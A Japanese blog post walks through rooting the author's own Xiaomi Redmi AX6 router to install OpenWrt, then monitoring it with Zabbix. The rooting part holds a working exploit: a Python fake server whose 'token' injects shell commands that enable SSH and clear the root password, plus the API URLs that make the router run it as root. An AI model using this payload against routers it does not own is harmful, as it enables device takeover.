Xiaomi Redmi AX6の脆弱性を突いてOpenWrtを導入
Xiaomi Redmi AX6 に OpenWrt 24.10.7 を焼きました。
脆弱性を叩くために偽サーバーを立て、AX6自身にWiFiでクライアントとして接続させる都合上、適当なAPがもう一台必要です。
公式手順では、既に出来上がってるOpenWrtを1台使って進めていますが、なくても適当なAPとLinuxマシンがあればOKでした。
https://openwrt.org/inbox/toh/xiaomi/xiaomi_redmi_ax6_ax3000

OpenWrt 焼き手順
事前設定
Redmi AX6 の設定
管理画面から、1.0.16にファームウェアをダウングレードしておく。
https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra69/miwifi_ra69_firmware_a7244_1.0.16.bin
焼き終わったら、スマホで初期設定を済ませました(管理画面のパスワードを設定するまで)
踏み台APの設定
そこら辺の 100 Mbps 時代の古い無線LANルーターを使いました。
APモード、DHCPはオフに設定します。
WiFiは、WPA2-PSKで SSID: “ROUTERB“, パスワード: “password” とします。
踏み台APに繋いだLinuxマシン(偽サーバー担当)の設定
IPを 169.254.31.1/24 に設定します。デフォルトゲートウェイは設定不要。
次に、以下のように偽サーバーを立てるPythonスクリプトを作ります。token部分に怪しいコマンドが見えますね!?
nano fake_xiaomi.pyfrom http.server import BaseHTTPRequestHandler, HTTPServer
import json
TOKEN = (
"; nvram set ssh_en=1; nvram commit; "
"passwd root -d root; "
"sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; "
"/etc/init.d/dropbear start;"
)
class Handler(BaseHTTPRequestHandler):
def send_token(self):
length = int(self.headers.get("Content-Length", "0"))
request_body = self.rfile.read(length) if length else b""
print(self.command, self.path)
print("BODY:", request_body.decode(errors="replace"))
if self.path.startswith("/cgi-bin/luci/api/xqsystem/token"):
body = json.dumps({
"code": 0,
"token": TOKEN
}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
else:
self.send_response(404)
self.end_headers()
def do_GET(self):
self.send_token()
def do_POST(self):
self.send_token()
def log_message(self, fmt, *args):
print(fmt % args)
HTTPServer(("0.0.0.0", 80), Handler).serve_forever()実行
sudo python3 fake_xiaomi.py(このスクリプトを吐かせるまでガチャを回し続けました…)

脆弱性を叩いて、SSHを開ける
1. スマホからアクセス
スマホからAX6のWiFi (Redmi_7D9F)に接続し、ブラウザからWebUIのIP、
http://192.168.31.1
を開いてログイン。
2. ログイントークンの抽出
STOKと呼ばれるログイントークンを抽出するのですが、スマホからだとデベロッパーツールが使えないので、代わりにBookmarkletで抽出します。
適当なブックマークを作って編集し、以下をブックマークのURL、名前をSTOKとしておきます。
javascript:(()=>{let s='';for(const e of performance.getEntriesByType('resource')){const m=e.name.match(/;stok=([a-fA-F0-9]+)/);if(m){s=m[1];break}}prompt('STOK',s||'設定画面を何個か開いてから再実行してください');})()WebUIを開いているタブのアドレスバーから”STOK”と入力し、このブックマークをクリックすると取得できます。
3. AX6を踏み台APに接続させる
<STOK>は先ほど抽出した値に置き換えて、ブラウザで以下のURLにアクセスします。
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/extendwifi_connect?ssid=ROUTERB&password=passwordこれはもともと中継設定やルーター移行に使われる機能らしい。ここでDHCPでアドレスが貰えなかったAX6くんは、169.254.31.1にルーターが存在すると仮定するようです。それでさっき設定した偽サーバーにこのIPを設定したわけですね。
4. 脆弱性を突く
同様に<STOK>を置き換えて、アクセスします。
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxxするとAX6は、偽サーバーの
http://169.254.31.1/cgi-bin/luci/api/xqsystem/tokenへアクセスし、まんまとシェルコマンド入りtokenを受け取ってしまいます。
しかも、取得したトークンをエスケープせずにrootでシェルに食わせてしまうというのが脆弱性の中身だったわけです。
これでSSHが開きました。
OpenWrtファームを焼く
1. AX6にSSHで入る
踏み台APと偽サーバーは片づけて、AX6と有線で繋いだマシンからSSHで入ります。
ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]この “ARE U OK” は Xiaomiの内輪ネタ。

2. もろもろ有効化
UARTだったり、Telnetを一応有効化しておく。
root@XiaoQiang:~# nvram set uart_en=1
root@XiaoQiang:~# nvram set boot_wait=on
root@XiaoQiang:~# nvram set telnet_en=1
root@XiaoQiang:~# nvram set ssh_en=1
root@XiaoQiang:~# nvram commit
root@XiaoQiang:~# exit3. OpenWrtのinitramfsをダウンロード
SSHを抜けて、initramfsを落としてきます。
wget https://downloads.openwrt.org/releases/24.10.7/targets/qualcommax/ipq807x/openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-initramfs-factory.ubiSHA256を確認しておく。
sha256sum openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-initramfs-factory.ubi
40e10116414a30afe1e7c7f6873e03cfcfd153d8c0ddf361e9bc57717e797311ダウンロードしたファームを AX6の /tmp にSCPで送ります。
scp -oHostKeyAlgorithms=+ssh-rsa openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-initramfs-factory.ubi [email protected]:/tmp/4. initramfsを焼く
もう一度SSHでAX6に入り、initramfsを焼いていきます。
AX6には純正FW用のrootfsが2面あります。いまどちらで動いてるかは確認しないとわかりません!
flag_boot_rootfs=0 → mtd12 "rootfs"
flag_boot_rootfs=1 → mtd13 "rootfs_1"今動いている側は書けないので、反対側へinitramfsを書きます。
したがって、
現在 0 → mtd12から起動中 → mtd13へOpenWrtを書く → boot flagを1
現在 1 → mtd13から起動中 → mtd12へOpenWrtを書く → boot flagを0これを取り違えないよう注意してください。この環境では、flag_boot_rootfs=0だったので以下のようにしました。
root@XiaoQiang:~# nvram get flag_boot_rootfs
0
root@XiaoQiang:~# cat /proc/mtd | grep rootfs
mtd12: 023c0000 00020000 "rootfs"
mtd13: 023c0000 00020000 "rootfs_1"
mtd17: 016c4000 0001f000 "ubi_rootfs"
root@XiaoQiang:~# ubiformat /dev/mtd13 \
> -f /tmp/openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-initramfs-factory.ubi \
> -s 2048 -O 2048
ubiformat: mtd13 (nand), size 37486592 bytes (35.7 MiB), 286 eraseblocks of 131072 bytes (128.0 KiB), min. I/O size 2048 bytes
libscan: scanning eraseblock 285 -- 100 % complete
ubiformat: 286 eraseblocks have valid erase counter, mean value is 1
ubiformat: flashing eraseblock 106 -- 100 % complete
ubiformat: formatting eraseblock 285 -- 100 % complete
root@XiaoQiang:~# nvram set flag_last_success=1
root@XiaoQiang:~# nvram set flag_boot_rootfs=1
root@XiaoQiang:~# nvram commitエラー無く書き込めたら、再起動。
root@XiaoQiang:~# reboot5. OpenWrtにSSHで入る
再起動すると、OpenWrtのinitramfsが起動します。初期IPは 192.168.1.1 です。

6. sysupgrade.binをダウンロード
まだinitramfsを焼いただけなので、次にsysupgradeを焼くと完成します。
SSHを抜けて、ダウンロード。
wget https://downloads.openwrt.org/releases/24.10.7/targets/qualcommax/ipq807x/openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-squashfs-sysupgrade.binOpenWrtの /tmp に送る。
scp openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-squashfs-sysupgrade.bin [email protected]:/tmp/SHA256を確認します。OpenWrt内でsha256sumが使えるので、OpenWrt上から確認。
sha256sum /tmp/openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-squashfs-sysupgrade.bin
e3976b7c329087ecec9ac79a2ea0e63c993f40dd0e7b2c0b5c11bb4f661ca1ab7. sysupgradeを焼く
OpenWrt上で、
sysupgrade -n /tmp/openwrt-24.10.7-qualcommax-ipq807x-redmi_ax6-squashfs-sysupgrade.bin実行するとSSHが切れますが大丈夫。これで無事にファームが焼けました。

おまけ ZabbixでOpenWrtを監視する
トラフィックやWiFiの信号強度など、せっかくなのでZabbixで監視してみます。
Zabbix agentを入れるより、Prometheus 形式でHTTP公開するほうが綺麗らしいのでそうしました。
opkg install \
prometheus-node-exporter-ucode \
prometheus-node-exporter-ucode-openwrt \
prometheus-node-exporter-ucode-wifiLANからアクセスできるようにする
uci set prometheus-node-exporter-ucode.main.listen_interface='lan'設定の保存と自動起動
uci commit prometheus-node-exporter-ucode
/etc/init.d/prometheus-node-exporter-ucode enable
/etc/init.d/prometheus-node-exporter-ucode restarthttp://<OpenWrtのIP>:9101/metrics にアクセスすると、
...
# TYPE node_load1 gauge
node_load1 0.03
# TYPE node_load5 gauge
node_load5 0.01
# TYPE node_load15 gauge
node_load15 0
node_scrape_collector_duration_seconds{collector="loadavg"} 0.00078599
node_scrape_collector_success{collector="loadavg"} 1
# TYPE node_memory_MemTotal_bytes gauge
node_memory_MemTotal_bytes 425082880
# TYPE node_memory_MemFree_bytes gauge
node_memory_MemFree_bytes 217198592
...色々な情報が見られますね。これに対して、ZabbixからHTTPエージェントを設定してデータを取得します。
テンプレートを手作業で作るのは非常に面倒なので、Codexに作らせました。
WiFiのトラフィック、ノイズフロア、あとは特定のクライアントとの信号強度もモニターできます。外に置いてる防犯カメラの信号強度を表示させておきました。

以下説明とテンプレート本体です。
Zabbix 6.0用 OpenWrt AP監視テンプレート
OpenWrtをアクセスポイント(AP)モードで使用している環境向けの、Zabbix 6.0用Prometheus監視テンプレートです。
ルーターモード向けのconntrackなどは省き、APの稼働状況とWi-Fi監視に必要な項目へ絞っています。
収集する情報
- OpenWrtの機種、バージョン、カーネル
- 稼働時間と時刻差
- CPU使用率、ロードアベレージ
- メモリ容量、空き容量、使用率
- ネットワークインターフェースの通信量、エラー、ドロップ、MTU
- Wi-Fiごとの信号強度、ノイズ、品質、接続台数
- Wi-Fiごとの直近1分間の平均受信・送信・合計通信速度
- 接続端末ごとのMACアドレス、信号強度、リンク速度、通信量、非アクティブ時間
ネットワークインターフェース、Wi-Fi、接続端末はローレベルディスカバリによって自動登録されます。トリガーは含まれていないため、端末の電源断や切断によるアラートは発生しません。
Prometheus URLの変更
インポート後、テンプレートマクロ {$OPENWRT.PROM.URL} を使用環境のPrometheusエンドポイントへ変更してください。
例:
http://192.168.1.1:9101/metrics取得間隔はテンプレートマクロ {$OPENWRT.PROM.INTERVAL} で変更できます。初期値は1分です。







最近のコメント